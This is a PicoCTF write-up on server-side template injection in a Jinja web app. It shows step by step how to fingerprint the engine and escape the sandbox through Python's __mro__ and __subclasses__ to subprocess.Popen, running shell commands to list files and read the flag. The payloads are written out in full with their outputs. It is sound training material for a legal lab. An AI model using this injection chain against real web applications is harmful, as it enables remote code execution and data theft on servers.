← Back to Cybersecurity Projects
PicoCTF — Write-Up

Server-Side Template Injection (SSTI1)

Category:Web Exploitation
Points:n/a
Author:Kelvin Creighton
Difficulty:Easy
#web#ssti1#python#jinja
01

Research

What is SSTI?

  • Server-Side Template Injection occurs when an attacker can inject malicious input into a server-side template.
  • A server-side template is a file used by a web application to generate dynamic content on the server (like the blueprint of the web app).

Common Server-Side Template Engines

  • Python: Jinja, Django
  • PHP: Twig, Blade
  • Java: FreeMarker, Thymeleaf
  • Ruby: ERB
  • Javascript: EJS
02

Information Gathering

Start by determining if the application evaluates template expressions from user input, and then identify the specific template engine in use.

STEP 01Basic Quick Check
INPUT{{7*7}}
OUTPUT49

Reason: This confirms the vulnerability and rules out engines that do not use {{...}} syntax. It likely points to Jinja or Twig.

STEP 02Fingerprinting the Engine
INPUT{{7*'7'}}
OUTPUT7777777

Reason: If it were Twig, it would output 49. The output 7777777 confirms Python is evaluating the expression, meaning the engine is Jinja. Running {{self.__class__}} verifies this by outputting
<class 'jinja2.runtime.TemplateReference'> .

03

Creating the Payload

The goal is to escape the sandbox by traversing Python's Method Resolution Order (MRO) to find a class that allows executing OS commands.

STEP 01Finding the Object Class
INPUT{{''.__class__.__mro__[1]}}
OUTPUT<class 'object'>

Reason: Starting with an empty string '', we access its class str, then its MRO tuple, and grab the base object class at index 1.

STEP 02Listing Subclasses
INPUT{{''.__class__.__mro__[1].__subclasses__()}}
OUTPUT[... list of classes ...]

Reason: We display all classes that inherit from object. We are looking for classes in os or subprocess modules. We find subprocess.Popen at index 356.

STEP 03Remote Code Execution
INPUT{{''.__class__.__mro__[1].__subclasses__()[356](['ls'], shell=True, stdout=-1).communicate()}}
OUTPUT(b'__pycache__\napp.py\nflag\nrequirements.txt\n', None)

Reason: We instantiate subprocess.Popen to run the ls command. We see a file named flag in the output directory list.

STEP 04Extracting the Flag
INPUT{{''.__class__.__mro__[1].__subclasses__()[356](['cat flag'], shell=True, stdout=-1).communicate()}}
OUTPUT[Flag Content]

Reason: Running the cat flag command through the Popen shell allows us to read the flag and solve the puzzle.

04

Key Takeaways

  • Never pass unsanitized user input directly to a template engine's rendering context.
  • Python's class inheritance hierarchy (__mro__, __subclasses__) allows powerful sandbox escapes if remote code execution is achieved.
FF

Flag

Captured Flag
picoCTF{...}
Kelvin CreightonPicoCTF Write-UpAll steps performed in a legal environment.